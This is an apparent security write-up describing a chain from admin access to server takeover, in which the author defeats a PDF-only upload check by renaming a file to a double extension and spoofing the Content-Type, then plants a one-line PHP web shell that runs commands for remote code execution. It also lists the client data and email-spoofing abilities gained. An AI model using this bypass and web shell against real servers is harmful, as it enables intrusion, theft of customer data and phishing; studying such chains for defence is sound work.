From Blind XSS to Full Server Takeover

Inside the admin dashboard, I found a file upload page (/downloads.php). It claimed to only accept PDFs. But claims are cheap.

I tried uploading a PHP shell. The frontend blocked me — “Only PDFs allowed!”

So I fired up Burp Suite, intercepted the request, and did the usual tricks:

Renamed shell.php to shell.pdf.php.Spoofed the Content-Type to application/pdf.

The server swallowed it whole.

A few seconds later, my shell was live:

<?php system($_GET['cmd']); ?>

I hit it with ?cmd=id—boom. Server access confirmed.

With RCE, I had the keys to the kingdom:

Internal files — other websites hosted on the same server.Client databases — names, emails, reservations.Email hijacking — I could send “official” emails to users, complete with malware attachments.

The worst part? No zero-days, no fancy exploits. Just basic security failures chained together.